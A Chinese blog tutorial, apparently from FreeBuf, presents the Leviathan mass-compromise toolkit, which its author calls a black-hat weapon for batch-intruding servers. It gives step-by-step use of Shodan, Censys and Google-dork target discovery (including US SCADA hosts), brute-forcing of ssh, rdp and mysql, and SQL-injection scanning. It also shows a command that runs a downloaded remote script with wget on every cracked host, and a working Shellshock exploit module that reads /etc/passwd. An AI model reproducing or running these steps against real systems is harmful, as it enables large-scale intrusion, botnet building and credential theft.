*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
大家好,我是铁汉fhoenix。最近在万维网虚度年华的时候又找到了一个黑帽子的武器-leviathan,Leviathan 是一个广泛的大规模审计工具包,具有广泛的服务发现、暴力破解、SQL 注入检测和运行自定义漏洞利用功能。 它包含开源工具,例如 masscan、ncrack、dsss,并为您提供组合使用它们的灵活性。
就是自动寻找你所要的服务器然后批量入侵。
安装
git clone https://github.com/bla.git
cd leviathan
pip install -r requirements.txt
官方是这样说的,但是我发现没法运行,官方说scripts/debian_install.sh
目录下运行安装程序,但是我发现明显有问题,后来我进行手动安装:
安装先决条件:
apt-get update
sudo apt-get -y install python python-pip git gcc make
libpcap-dev build-essential checkinstall libssl-dev libssh-dev
libffi-dev python-dev
通过克隆 Git 存储库下载利维坦:
git clone https://github.com/bla.git
进入文件夹
cd leviathan
安装masscan:
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
cp bin/masscan /usr/bin/
安装破解:
cd ..
wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz
tar -xzf ncrack-0.5.tar.gz
cd ncrack-0.5
./configure
make
sudo make install
安装所需的 Python 库:
pip install -r requirements.txt
如果实在不行你可以用blackarch,他直接给你集成好了
blackarch万岁!!!!!!
配置google,censys,shodan秘钥
运行程序:
python leviathan.py
在主菜单中,按
4
访问配置菜单。
现在,您需要通过在菜单中选择相应的编号来填写每个部分(Google API Key、Google CSE ID、Censys UID、Censys Secret、Shodan API Key)
我顺便把地址写上
Leviathan 需要 API 密钥才能工作。 从 Google 检索 URL 来检测 SQL 注入漏洞需要, Google 自定义搜索 API。 根据给定的查询检索 IP 地址需要 Censys 和 Shodan API。
生成“Google 自定义搜索”键
需要生成两件事:Google API Key、Custom Search Engine id
谷歌 API 密钥:
导航到 API 控制台中的“凭据页面”: https://console.developers.google.com/apis/credentials
单击创建凭据 > API 密钥(如果您之前没有任何项目,请先创建一个项目。之后您将能够生成 API 密钥。)
将您的 API 密钥复制到本地磁盘
自定义搜索引擎 ID:
导航到 https://cse.google.com/cse/ 并点击“创建自定义搜索引擎”
在“要搜索的网站”部分,只需 输入 www.anyurl.com 即可跳过此屏幕。 我们稍后会删除它。
在“搜索引擎名称”框中输入搜索引擎的名称。
点击“创建”按钮
单击与“修改搜索引擎”标签位于同一行的“控制面板”按钮。
在“基本”选项卡中,找到“要搜索的站点”部分。 选择“搜索整个网络但强调包含的网站”。 在下拉列表中。 另外,选中“www.anyurl.com”上的复选框,然后单击“删除”按钮。
单击页面底部的“更新”按钮。
在“基本”选项卡下找到“详细信息”标签。 单击“搜索引擎 ID”按钮。
将您的搜索引擎 ID 复制
censys
在 注册一个帐户 https://censys.io/register
登录后,导航到 https://censys.io/account
将 API ID、Secret 复制
shodan
在 注册一个帐户 https://account.shodan.io/register
登录后导航到 https://account.shodan.io/
将您的 API 密钥复制
注意 :Shodan 的免费 api 密钥不咋地。 如果你想搞到更多肉鸡,你必须付点钱。。
搜索菜单
使用 Shodan
Shodan 模块将您通过 Shodan 的 API 提取预先发现的机器。
自动查询
在“自动查询”部分,您可以通过提供国家代码和服务类型来生成 Shodan 搜索查询和查找机器。 以下示例显示了如何收集在土耳其运行 SSH 的 IP 地址。
输入国家代码 : TR
输入协议 :ssh
自定义查询
在本节中,您可以编写自己的 Shodan 查询。 有关语法,请访问此处: : https //www.shodan.io/
以下示例显示了如何收集在伊斯坦布尔运行 Apache 的 IP 地址:
使用 Censys
Censys 模块将您通过 Censys 的 API 提取预先发现的机器。
自动查询
在“自动查询”部分,您可以通过提供国家代码和服务类型来生成 Censys 搜索查询并查找机器。 以下示例显示了如何收集在土耳其运行 SSH 的 IP 地址。
输入国家代码 : TR
输入协议 :ssh
自定义查询
在本节中,您可以编写自己的 Shodan 查询。 有关语法,请访问此处: : https //censys.io/
以下示例显示了如何收集美国 SCADA 系统的 IP 地址:
location.country_code: US and tags: scada
使用质量扫描
使用 masscan,您可以发现运行特定服务的 IP 范围内的设备。 以下示例显示了如何收集在 83.49.0.0/16 范围内运行 SSH 的 IP 地址。
输入 IP 范围 :83.49.0.0/16
使用网络扫描仪
Web Scanner 模块允许您使用给定的 dork 从 Google 中提取 URL。
自动dork
在“自动dork”部分,您可以通过提供国家代码和域扩展名来创建dork。 以下示例显示了如何收集具有edu.tr
域扩展。 (:inurl:.php?id= inurl:edu.tr
)
输入国家代码 :tr
输入域名后缀 :edu
定制dork
在本节中,您可以输入自己的 dork。 例如:
输入你的傻瓜 :intitle:EyesOfNetwork intext:"sponsored by AXIANS"
图:
如何查询你搜索到的ip
发现的设备
要检查发现的设备,请在资产菜单中选择选项 1(显示发现的机器)。
您可以通过提供协议来检查它们,也可以检查所有发现的机器。 格式将类似于以下示例:
ID:8275412 | Protocol:ssh | Method:censys | Date:Mon Apr 10 16:47:31 2017
ID:6939827 | Protocol:ftp | Method:masscan | Date:Mon Apr 3 14:22:51 2017
受损设备
要检查受感染的设备,请在“资产”菜单中选择选项 2(显示受感染的机器)。
您可以通过提供协议来检查它们,也可以检查所有受感染的机器。 格式将类似于以下示例:
ID:8275412 | Protocol:ssh | Method:ncrack | Date:Mon Apr 10 16:47:31 2017
ID:7663334 | Protocol:web | Method:dsss | Date:Tue Apr 4 10:52:18 2017
之后,您可以通过输入他们的 ID 来查看他们的预览。
攻击!
在 Attack 模块中,您可以对 Discovery 模块中发现的目标进行特定攻击。 如果您没有发现任何目标,则无法进行攻击。 请访问“发现”页面。
成功的攻击被保存在/assets/compromised
文件夹格式如下:
compromisemethod_service_discoveryid.txt
使用Brute Force
在“蛮力”部分,您可以对以下协议进行蛮力攻击:ftp、ssh、telnet、rdp、mysql。 将用于蛮力攻击的词表列在下面/config/wordlists
文件夹。 如果您想使用不同的组合,您可以编辑它们。
成功的蛮力攻击以以下格式保存:
username:password:IP_ADDRESS
例如:root:123456:1.1.1.1
通过发现 ID 进行攻击
在本节中,您可以通过提供发现 ID 来运行蛮力攻击。 要获取扫描的发现 ID,请访问“资产”菜单。 例如,您使用 Censys 为 ssh 服务运行扫描。 转到“资产”菜单并按照以下菜单操作:“显示发现的机器”->“ssh”它会列出如下内容:
ID:8275412 | Protocol:ssh | Method:censys | Date:Mon Apr 10 16:47:31 2017
复制 ID 部分 (8275412) 并在发现 ID 的蛮力/攻击中使用它。 利维坦会自动对发现的人进行蛮力攻击。 IP 地址。
通过协议攻击所有发现的机器
网页(SQL注入)
在本节中,您可以在预先发现的 URL 上搜索 SQL 注入漏洞。 如果目标 URL 容易受到 SQL 注入攻击,Leviathan 会将 URL 保存在/assets/compromised
上面写的文件夹。
与蛮力部分相同,您有两个选项可以继续:
1)通过发现ID攻击
2)攻击所有发现的机器
细节与brute部分相同。
运行自定义漏洞利用
可用的漏洞利用位于/lib/exploits
文件夹。 如果你想实现你自己的exploit,你需要把它放在那个目录下。 有关编写自定义漏洞的更多信息,请访问“编写自定义漏洞”页面。
要运行集成漏洞利用,请访问Attack
然后Custom Exploit
主菜单部分。 在这里,您需要提供目标的发现 ID。 如果您没有关于发现 ID 的信息,请访问“资产”部分。
提供发现 ID 后,您需要选择将针对目标运行的漏洞利用。 输入漏洞利用名称(例如:shellshock
) 并按回车键。
执行远程命令
在“运行远程命令”部分,您可以在受感染的机器上远程执行命令。 您需要在 Brute Force 部分破解 SSH 密码才能使用此部分。
与 Brute Force 和 Web 部分相同,您有两个选项可以继续:
1)通过发现ID运行命令
2)在所有发现的机器上运行命令
获取发现 ID 和详细信息在 Brute Force 部分进行了说明。
以下示例显示如何在所有破解的 ssh 服务上运行命令(仅支持 Unix Bash 命令)
- 在菜单中选择选项 2-
输入您的命令 :wget http://utkusen.com/s.pl && chmod +x s.pl && ./s.pl
图:
再来几张!
自定义漏洞利用模块编写
这里我就直接照抄了哈
介绍
在“自定义漏洞利用”模块中,您可以利用自定义漏洞利用发现模块中发现的目标。 如果您没有发现任何目标,则无法利用它们。 请访问“发现”页面。
可用的漏洞利用位于/lib/exploits
文件夹。 如果你想实现你自己的exploit,你需要把它放在那个目录下。
编写自己的漏洞利用程序
辅助函数
发现解析
要解析预先发现的目标,您需要导入discovery_parse
功能来自lib/utils.py
from lib.utils import discovery_parse
discovery_parse 函数采用发现 id(string) 并以列表格式返回其中的元素(IP 或 URL)。
例如censys_ssh_28381923.txt
其中包含以下目标:
192.168.1.5
192.168.1.89
打电话discovery_parse("28381923")
将返回:
['192.168.1.5','192.168.1.89']
您可以在循环中针对列表中的这些目标运行您的漏洞利用代码。
保存
为了保存成功利用的目标,您需要导入compromise_save
功能来自lib/utils.py
from lib.utils import compromise_save
妥协_保存函数需要 3 个参数:discovery_id
,exploit_name
,asset_list
并在下面创建一个文件/assets/compromised
其中包括以下文件名中成功利用的目标:“custom_exploitname_discoveryid.txt” 例如:“custom_struts_2849312.txt”
discovery_id :您可以使用用户提供的初始值。
exploit_name :它的开发的通用名称。 仅使用字母数字字符。 例如:“支柱”
asset_list :您需要将成功利用的目标附加到列表中。compromise_save
将它们循环写入文本文件。
所需功能
show_desc
需要此功能来在菜单上显示有关漏洞利用的基本信息。 您的函数需要返回一个信息字符串。 例如:
def show_desc():
return "Shellshock Remote Code Execution (CVE-2014-6271)"
exploit
这是您的代码将有效负载发送到目标的部分。 它返回目标的响应
action
-action 函数需要采用 7 位整数的“discovery_id”。
def action(discovery_id)
- 你需要打电话discovery_parse
功能与discovery_id
值以获取目标 URL 或 IP 地址。
urllist = discovery_parse(discovery_id)
-对于每个网址urllist
, 称呼exploit
功能
for url in urllist:
response = exploit(url, "cat /etc/passwd/")
- 如果漏洞利用成功,则将 URL/IP 附加到列表中。
successful_urls.append(url)
- 完成所有目标后,使用compromise_save 函数保存成功的url
if successful_urls: #if not empty
compromise_save(discovery_id, exploit_name, successful_urls)
示例漏洞
以下漏洞利用是为了识别 Shellshock 漏洞而编写的。
from lib.utils import discovery_parse,compromise_save
import sys
import urllib2
exploit_name = "shellshock" #this goes to file name
#Tries to exploit given url with given command. Returns servers response.
def exploit(url, command):
response = ""
opener = urllib2.build_opener()
opener.addheaders = [('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; ' + command)]
try:
response = opener.open(url)
except:
pass
return response
#Most of things are done in this function. It parses targets with given discovery id
#checks if exploit is successful, appends successful ones to list and saves them with
#compromise_save function
def action(discovery_id):
successful_urls = []
urllist = discovery_parse(discovery_id)
print urllist
for url in urllist:
response = exploit(url, "cat /etc/passwd/")
try:
if "root" in response:
successful_urls.append(url)
print "Vulnerable! " + url
except:
pass
if successful_urls:
compromise_save(discovery_id, exploit_name, successful_urls)
def show_desc():
return "Shellshock Remote Code Execution (CVE-2014-6271)"
拓展
我对ddos攻击的见解以及ufonet和大名鼎鼎的mirai分布式拒绝服务攻击工具的介绍
https://www.freebuf.com/articles/paper/281898.html
简单的僵尸网络
https://www.freebuf.com/articles/web/284107.html
僵尸网络工具voodoo clrcle
https://www.freebuf.com/articles/web/285868.html
sql手工注入以及sqlmap绕过
https://www.freebuf.com/articles/web/285240.html
关于metasploit的木马免杀,维持以及进程迁移
*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
好了今天的内容就到这里,希望对你有帮助,再见
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)